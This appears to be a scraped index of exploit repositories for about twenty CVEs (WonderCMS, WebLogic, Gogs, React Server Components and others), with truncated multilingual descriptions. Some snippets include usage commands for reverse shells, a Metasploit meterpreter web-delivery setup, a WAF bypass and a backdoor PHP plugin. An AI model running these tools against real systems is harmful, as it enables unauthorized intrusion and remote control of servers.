WonderCMS-CVE-2020-35314

CVE-2020-35314 - Authentifizierte entfernte Codeausführung in WonderCMS 3.1.3 Dieses Repository wurde mit dem Ziel erstellt, die Remote Code Execution-Schwachstelle in WonderCMS v3.1.3 zu testen. Dieses gefälschte Plugin enthält eine Backdoor-PHP-Shell, die sich in der Datei evil.php befindet. Es...

cve-2025-32433-erlang_ssh_rce_reproduction

CVE-2025-32433: Esecuzione remota di codice pre-autenticazione nel demone SSH di Erlang/OTP Punteggio CVSS: 10.0 CRITICO Stato: sfruttata attivamente in natura Divulgazione: giugno 2025 Panoramica CVE-2025-32433 è una vulnerabilità critica di esecuzione remota di codice senza autenticazione...

Ctirix_RCE-CVE-2019-19781

CtirixRCE-CVE-2019-19781 Citrix ADC RCE cve-2019-19781 Video Seguici Vulnmachines YouTube Twitter Facebook...

CVE-2025-47812

CVE-2025-47812 — Wing FTP Server RCE non autenticato riscrittura Exploit Python per la RCE tramite injection Lua non autenticata in Wing FTP Server ≤ 7.4.3. Progettato per la consegna di shell — un comando da check a un callback netcat funzionante. Scritto qualche tempo fa per il lab wingData su...

rails-PoC-CVE-2016-2098

Una prova di concetto della vulnerabilità: CVE-2016-2098 Progetto universitario creato da @alejandro-marting dove possiamo verificare la vulnerabilità 2096 Utilizzando: rails 4.2.5.1 la view contiene un codice vulnerabile app/views/poc/render1.html.erb !...

CVE-2026-11499

🚨 CVE-2026-11499 Stack-Based Buffer Overflow nei Router Tenda HG7 / HG9 / HG10 📖 Panoramica CVE-2026-11499 è una vulnerabilità di stack-based buffer overflow segnalata che colpisce diversi modelli di router Tenda , tra cui: HG7 HG9 HG10 Un exploit riuscito potrebbe consentire a un attaccante di...

CVE-2025-8110

Exploit RCE di Gogs CVE-2025-8110 Proof of Concept per CVE-2025-8110 - Esecuzione di codice remoto in Gogs tramite bypass di symlink e iniezione di sshCommand. Descrizione Questo exploit abusa di un bypass di symlink nell'API di Gogs per sovrascrivere .git/config e iniettare un sshCommand malevol...

CVE-2020-26217

Descrizione XStream può essere utilizzato per l'esecuzione di codice remoto Versione interessata Xstream com.thoughtworks.xstream xstream 1.4.13 Come utilizzare root@kitploit: 0 text/plain 0 -1 1...

CVE-2021-42669

CVE-2021-42669 CVE-2021-42669 - Esecuzione di codice in remoto tramite vulnerabilità di upload di file senza restrizioni nel sistema del portale online degli ingegneri. Descrizione tecnica: Esiste una vulnerabilità di upload di file senza restrizioni nel sistema del portale online degli ingegneri...

CVE-2021-22205

CVE-2021-22205 - Esecuzione di codice in remoto non autenticata su GitLab CVE-2021-22205 è una vulnerabilità critica di Esecuzione di Codice in Remoto RCE che colpisce GitLab Community Edition CE e Enterprise Edition EE. La vulnerabilità ha origine da una validazione impropria dei file immagine...

CVE-2025-50881

CVE-2025-50881: Remote Code Execution in API Use it Flow über moniteur.php Identifier: CVE-2025-50881 Betroffenes Produkt: API Use it Flow Version 8.2.0 Rev 15851, Version 9.2.0 Rev 18093 Herausgeber: https://www.tenorsolutions.com ehemals https://api-sas.fr/ Betroffene Komponenten:...

CVE-2026-12485

🚨 CVE-2026-12485 - Kritische, nicht authentifizierte Remote-Codeausführung RCE GeoVision GV-I/O Box 4E – Firmware v2.09 Offenlegungsdatum: 23. Juni 2026 CWE: CWE-121 – Stapelbasierter Pufferüberlauf Angriffsvektor: Netzwerk nicht authentifiziert Eine nicht authentifizierte Schwachstelle in Form...

CVE-2018-2628

Test per vulnerabilità Caricamento shell Metodo 1: Metodo 2: Esecuzione shell Ottenere meterpreter root@kitploit: msf use exploit/multi/script/webdelivery msf exploitmulti/script/webdelivery set target 3 target = 3 msf exploitmulti/script/webdelivery set payload windows/meterpreter/reversetcp...

CVE-2017-3506

Cos'è questo? Questo è un proof of concept per CVE-2017-3506 serializzazione XMLDecoder di Weblogic Come usarlo? controllo vulnerabilità root@kitploit: java -jar WebLogic-XMLDecoder.jar -u http://192.168.174.144:7001 GetShell root@kitploit: java -jar WebLogic-XMLDecoder.jar -s...

CVE-2025-55182

👻 Exploit Go per CVE-2025-55182 Strumento interattivo per l'exploit RCE di CVE-2025-55182 React Server Components 🎯 Cos'è? CVE-2025-55182 è uno strumento minimale e interattivo per l'exploit RCE che prende di mira CVE-2025-55182 , una vulnerabilità critica nei React Server Components RSC che...

CVE-2025-55182-POC

CVE-2025-55182-POC React2Shell POC Utilizzo: root@kitploit: sudo python3 hehe.py -t -c Esempio: root@kitploit: ❯ sudo python3 hehe-t 12.05.12.05 -c "id" . .. . | \ | | / \ / || || | | | / || | | | | || | | | | | | | | / ^ \ | ,----'---| |----| | | | | ----| || | | | | | | | | / | | / /\ \ | | | |...

Next.js-RCE-CVE-2025-55182

🔍 Next.js Sicherheits-Test-Tool Professionelles Sicherheitsbewertungs-Tool für Next.js-Anwendungen ⚠️ Haftungsausschluss Dieses Tool ist ausschließlich für autorisierte Sicherheitstests und Forschungszwecke bestimmt. ✅ Nur auf Systemen verwenden, die Sie besitzen oder für die Sie eine ausdrücklich...

CVE-2025-55182

CVE-2025-55182.yaml PoC per CVE-2025-55182 nuclei -target url -t CVE-2025-55182.yaml 根据nuclei-template改造而来 核心代码： root@kitploit: "then":"$1:proto:then","status":"resolvedmodel","reason":-1,"value":""then":"$B1337"","response":"prefix":"var...

MassExploit-CVE-2025-55182

CVE-2025-55182 – Scanner Massivo PoC CVE-2025-55182 noto anche come “React2Shell” è una vulnerabilità critica di Remote Code Execution RCE nel sistema dei React Server Components RSC. Il problema si verifica perché il meccanismo di deserializzazione del payload HTTP per le “Server Functions”...

CVE-2025-55182-PoC

React2Shell CVE-2025-55182 PoC Uso root@kitploit: Interactive shell ./react2shell -u http://target:3000 Single command ./react2shell -u http://target:3000 -c "id" WAF bypass 128KB junk data ./react2shell -u http://target:3000 -waf 128 Compilazione root@kitploit: go build -o react2shell . Opzioni...